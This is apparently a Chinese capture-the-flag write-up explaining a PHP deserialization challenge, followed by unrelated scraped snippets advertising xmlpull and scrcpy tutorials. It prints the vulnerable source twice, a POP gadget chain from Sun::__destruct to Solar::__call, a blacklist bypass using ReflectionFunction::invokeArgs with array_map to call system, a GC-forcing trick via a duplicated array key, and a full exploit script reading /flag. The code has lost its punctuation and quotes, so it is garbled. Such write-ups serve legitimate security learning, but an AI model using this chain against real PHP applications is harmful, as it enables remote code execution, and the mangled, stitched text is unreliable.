前言反序列化比较薄弱做得也比较少因此每次碰到都是两眼一黑然后这次SHCTF中又出现了一个我没学到过的知识点因此这里也再详细记录一下题目源码如下?php class Sun{ public $sun; public function __destruct(){ die(Maybe you should fly to the .$this-sun); } } class Solar{ private $Sun; public $Mercury; public $Venus; public $Earth; public $Mars; public $Jupiter; public $Saturn; public $Uranus; public $Neptune; public function __set($name,$key){ $this-Mars $key; $Dyson $this-Mercury; $Sphere $this-Venus; $Dyson-$Sphere($this-Mars); } public function __call($func,$args){ if(!preg_match(/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i, $args[0])){ $exploar new $func($args[0]); $road $this-Jupiter; $exploar-$road($this-Saturn); } else{ die(Black hole); } } } class Moon{ public $nearside; public $farside; public function __tostring(){ $starship $this-nearside; $starship(); return ; } } class Earth{ public $onearth; public $inearth; public $outofearth; public function __invoke(){ $oe $this-onearth; $ie $this-inearth; $ote $this-outofearth; $oe-$ie $ote; } } if(isset($_POST[travel])){ $a unserialize($_POST[travel]); throw new Exception(How to Travel?); } highlight_file(__FILE__); error_reporting(0); class Sun{ public $sun; public function __destruct(){ die(Maybe you should fly to the .$this-sun); } } class Solar{ private $Sun; public $Mercury; public $Venus; public $Earth; public $Mars; public $Jupiter; public $Saturn; public $Uranus; public $Neptune; public function __set($name,$key){ $this-Mars $key; $Dyson $this-Mercury; $Sphere $this-Venus; $Dyson-$Sphere($this-Mars); } public function __call($func,$args){ if(!preg_match(/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i, $args[0])){ $exploar new $func($args[0]); $road $this-Jupiter; $exploar-$road($this-Saturn); } else{ die(Black hole); } } } class Moon{ public $nearside; public $farside; public function __tostring(){ $starship $this-nearside; $starship(); return ; } } class Earth{ public $onearth; public $inearth; public $outofearth; public function __invoke(){ $oe $this-onearth; $ie $this-inearth; $ote $this-outofearth; $oe-$ie $ote; } } if(isset($_POST[travel])){ $a unserialize($_POST[travel]); throw new Exception(How to Travel?); }一大串的还是得倒着看我们先看要传的if(isset($_POST[travel])){ $a unserialize($_POST[travel]); throw new Exception(How to Travel?); }这里我们可以控制的是travel构造响应的php对象进行注入但是后面有一个 throw new Exception(How to Travel?); 按照正常流程的话是这样的unserialize - throw Exception - 程序终止正常情况下Sun 对象的 __destruct()永远不会在想要的时间点触发因为unserialize() 成功返回后$a 变量持有对象引用refcount ≥ 1。接着执行 throw new Exception异常立刻抛出 → 脚本开始错误处理 → 输出 “How to Travel?”。__destruct() 只有在脚本完全结束shutdown 阶段才会被调用已经晚了。这里就用到了GC提前销毁机制利用解析错误强制提前回收。核心目的让 Sun::__destruct()在 unserialize() 函数内部就同步触发这样后面的 throw 永远不会执行到异常信息不会出现RCE 链直接跑出 flag 并 die()。底层原理基于 PHP 引用计数 垃圾回收PHP 内存管理主要靠引用计数refcount每个对象都有一个 refcount初始为 1被变量引用。refcount 降到 0 时立即调用 __destruct() 并释放内存。另外还有周期回收器Cycle Collector处理循环引用。关键点在 unserialize()解析过程中PHP 是边扫描字符串边创建对象的。如果我们故意把序列化字符串构造得格式错误会发生解析器已经成功创建了 Sun、Moon、Earth、Solar 等对象甚至已经执行了部分魔术方法。扫描到错误位置时unserialize()提前抛出内部异常并中止还没返回给 $a 变量。PHP 为了“清理刚才临时创建的对象内存”会立即把这些对象的 refcount 强制归零。于是 __destruct() 被同步调用发生在 unserialize() 函数还没返回的时候。这时候我们整个链条已经跑完了输出 flag 并 die()后面的 throw 语句根本没机会执行。接下来再看我们的调用链public function __call($func, $args) { if (!preg_match(/exec|popen|system|...|array_map?.../i, $args[0])) { $exploar new $func($args[0]); $road $this-Jupiter; $exploar-$road($this-Saturn); } else { die(Black hole); } }我们想要的是能触发RCE的构造但是这里直接执行system会被拦截这里ReflectionFunctioninvokeArgs可以绕过。ReflectionFunction属于PHP反射类可以调用动态函数就比如$f new ReflectionFunction(system); $f-invokeArgs([id]); //等价于system(id)题目中的执行方式$exploar-$road($this-Saturn); 如果我们令 $exploar ReflectionFunction $road invokeArgs 那么就会变成 $exploar-invokeArgs(...)而invokeArgs需要数组参数因此再利用array_map那么整体应该是这样的?php highlight_file(__FILE__); error_reporting(0); $rf new ReflectionFunction(array_map); $rf-invokeArgs([system,[dir]]);如何触发 Solar::__call__call是魔术方法当调用不存在的方法时触发$Dyson-$Sphere($this-Mars);所以要让$Dyson是Solar 对象并且$Sphere是一个不存在的方法名就会触发__call。如何触发 Solar::__set__set是魔术方法当访问不可访问属性时触发$oe-$ie $ote //这里 $oe 是 Solar 对象$ie 是一个不存在的属性名 → 触发 __set。如何触发 Earth::__invoke__invoke是魔术方法当对象像函数一样被调用$starship(); //所以 $starship 必须是 Earth 对象。如何触发 Moon::__toString__toString是魔术方法当对象被当作字符串使用Maybe you should fly to . $this-sun //所以 $this-sun 是 Moon 对象 → 自动调用 __toString → 执行 $starship() → 调用 Earth::__invoke。如何触发 Sun::__destruct__destruct是魔术方法当对象被销毁时自动触发。触发方式GC 回收对象或者脚本结束$sun是 Moon 对象 → 触发__toString链最终的倒推形式如下[目标] system(id) ↑ ReflectionFunction-invokeArgs(...) # Solar::__call ↑ Solar::__call() # 调用不存在方法触发 ↑ Solar::__set() # 动态赋值触发 __call ↑ Earth::__invoke() # 对象当作函数调用触发 __set ↑ Moon::__toString() # 对象当作字符串触发 __invoke ↑ Sun::__destruct() # 对象被销毁触发 __toString [入口] GC/脚本结束后析构 Sun 对象exp:?php $sun new Sun(); $moon new Moon(); $earth new Earth(); $solar new Solar(); $sun-sun $moon; $moon-nearside $earth; $earth-onearth $solar; $earth-inearth test; $earth-outofearth array_map; $solar-Mercury $solar; $solar-Venus ReflectionFunction; $solar-Jupiter invokeArgs; $solar-Saturn [system,[cat /flag]]; $arr [ a$sun, bNULL ]; $payload serialize($arr); /* 覆盖key触发GC */ $payload str_replace(b, a, $payload); echo urlencode($payload);
如何使用openeuler/xmlpull快速解析XML文档?5分钟上手教程 【免费下载链接】xmlpull This package provides xml pull parsing API 项目地址: https://gitcode.com/openeuler/xmlpull
前往项目官网免费下载:https://ar.openeuler.org/ar/
XML文档…
3分钟掌握Android投屏神器:scrcpy让你的手机屏幕完美显示在电脑上 【免费下载链接】scrcpy Display and control your Android device 项目地址: https://gitcode.com/GitHub_Trending/sc/scrcpy
你是否曾经需要在电脑上展示手机内容,却苦于没有合…